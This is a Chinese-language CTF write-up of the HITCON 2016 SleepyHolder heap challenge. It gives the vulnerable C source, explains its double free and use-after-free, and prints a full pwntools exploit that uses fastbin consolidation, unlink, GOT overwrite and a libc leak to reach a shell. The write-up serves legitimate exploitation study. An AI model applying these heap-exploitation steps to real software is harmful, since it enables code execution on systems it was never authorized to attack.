Hitcon 2016 SleepyHolder-fastbin_dup_consolidate

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>

#define BASE 40

char *s_ptr;
char *f_ptr;
char *q_ptr;
int s_flag;
int f_flag;
int q_flag;

void add()
{
    char buf[4];
    char *ptr;
    unsigned int choice;
    puts("What secret do you want to keep?");
    puts("1. Small secret");
    puts("2. Big secret");
    if(!q_flag)
        puts("3. Keep a huge secret and lock it forever");
    memset(buf, 0 ,sizeof(buf));
    read(0, buf, sizeof(buf));
    choice = atoi(buf);

    switch(choice)
    {
        case 1:
            if(f_flag)
                return;
            f_ptr = calloc(1, BASE);
            f_flag = 1;
            puts("Tell me your secret: ");
            read(0, f_ptr, BASE);
            break;
        case 2:
            if(s_flag)
                return;
            s_ptr = calloc(1, BASE*100);
            s_flag = 1;
            puts("Tell me your secret: ");
            read(0, s_ptr, BASE*100);
            break;
        case 3:
            if(q_flag)
                return;
            q_ptr = calloc(1, BASE*10000);
            q_flag = 1;
            puts("Tell me your secret: ");
            read(0, q_ptr, BASE*10000);
            break;
    }

}

void del()
{
    char buf[4];
    int choice;
    puts("Which Secret do you want to wipe?");
    puts("1. Small secret");
    puts("2. Big secret");
    memset(buf, 0, sizeof(buf));
    read(0, buf, sizeof(buf));
    choice = atoi(buf);

    switch(choice)
    {
        case 1:
            free(f_ptr);
            f_flag = 0;
            break;
        case 2:
            free(s_ptr);
            s_flag = 0;
            break;
    }

}

void update()
{
    char buf[4];
    int choice;
    puts("Which Secret do you want to renew?");
    puts("1. Small secret");
    puts("2. Big secret");
    memset(buf, 0, sizeof(buf));
    read(0, buf, sizeof(buf));
    choice = atoi(buf);

    switch(choice)
    {
        case 1:
            if(f_flag)
            {
                puts("Tell me your secret: ");
                read(0, f_ptr, BASE);
            }
            break;
        case 2:
            if(s_flag)
            {
                puts("Tell me your secret: ");
                read(0, s_ptr, BASE*100);
            }
            break;
    }
    
}

void handler(){
    puts("Timeout!");
    exit(1);
}

void init_prog(){

    setvbuf(stdout, 0,2,0);
    signal(SIGALRM, handler);
    alarm(60);
}


int main()
{
    init_prog();
    puts("Waking Sleepy Holder up ...");
    int fd = open("/dev/urandom", O_RDONLY);
    unsigned int rand_size;
    read(fd, &rand_size, sizeof(rand_size));
    rand_size %= 4096;
    malloc(rand_size);
    sleep(3);
    char buf[4];
    unsigned int choice;
    puts("Hey! Do you have any secret?");
    puts("I can help you to hold your secrets, and no one will be able to see it :)");
    while(1){
        puts("1. Keep secret");
        puts("2. Wipe secret");
        puts("3. Renew secret");

        memset(buf, 0 ,sizeof(buf));
        read(0, buf, sizeof(buf));
        choice = atoi(buf);
        switch(choice){
            case 1:
                add();
                break;
            case 2:
                del();
                break;
            case 3:
                update();
                break;
        }
    }

}

root@b0ba199ad1df:/work/how2heap-master/how2heap-master/glibc_2.25/fastbin_dup# checksec SleepyHolder
[*] '/work/how2heap-master/how2heap-master/glibc_2.25/fastbin_dup/SleepyHolder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

除了pie和full relro都開啓了
漏洞:釋放掉之後指針沒有清零,造成double free;update函數沒有校驗flag有uaf
但是同時每種chunk只能存在一個。

利用思路:用fastbin_dup_consolidate獲取到

在這裏插入圖片描述
這種結構,從fastbin中申請到但是prev_inpuse位爲0
詳情參考:
然後僞造chunk進行unlink
unlink原理不容易懂但是僞造方式和結果卻很簡單

f_ptr = 0x6020d0   #1    #unlink會把f_ptr-0x18寫入到*f_ptr
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)
fake_chunk += '\x20'

放入size,p64(f_ptr - 0x18) + p64(f_ptr-0x10)這兩個是爲了繞過unlink的檢查
'\x20’這個是preve_size位的。
unlink的結果就是f_ptr-0x18寫入到*f_ptr
在這裏插入圖片描述
上圖的chunk1的0x6020d0位置處已經被寫入。

泄露方法:改free函數的got表
這裏free函數的使用是這樣的
在這裏插入圖片描述
直接更改free函數的got表改爲puts,再把fptr的值改爲put_plt這樣調用free函數的時候會調用
puts(put_plt)輸出真正運行地址。(到這裏已經實現任意地址寫了)

#!/usr/bin/env python
#coding=utf-8
from pwn import *

#r = remote('52.68.31.117', 9547)
r=process("SleepyHolder")
context.log_level="debug"
def add(t, s):
    r.recvuntil('3. Renew secret\n')
    r.sendline('1')
    r.recvuntil('Big secret\n')
    r.sendline(str(t))
    r.recvuntil(': \n')
    r.send(s)

def de(t):
    r.recvuntil('3. Renew secret\n')
    r.sendline('2')
    r.recvuntil('Big secret\n')
    r.sendline(str(t))

def update(t, s):
    r.recvuntil('3. Renew secret\n')
    r.sendline('3')
    r.recvuntil('Big secret\n')
    r.sendline(str(t))
    r.recvuntil(': \n')
    r.send(s)

add(1, 'a')#49
add(2, 'a')#4016
de(1)
add(3, 'a')#40*10000

de(1)

f_ptr = 0x6020d0   #1    #unlink會把f_ptr-0x18寫入到*f_ptr
fake_chunk = p64(0) + p64(0x21)
fake_chunk += p64(f_ptr - 0x18) + p64(f_ptr-0x10)
fake_chunk += '\x20'
add(1, fake_chunk)

de(2)
gdb.attach(r)
atoi_GOT = 0x602080
free_GOT = 0x602018
puts_GOT = 0x602020
puts_plt = 0x400760
atoi_offset = 0x36e70
system_offset = 0x45380

f = p64(0)
f += p64(atoi_GOT) + p64(puts_GOT) + p64(free_GOT)
f += p32(1)*3
update(1, f)
update(1, p64(puts_plt))

de(2)
s = r.recv(6)

libc_base = u64(s.ljust(8, '\x00')) - atoi_offset
system = libc_base + system_offset
update(1, p64(system))
add(2, 'sh\0')
de(2)


r.interactive()



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章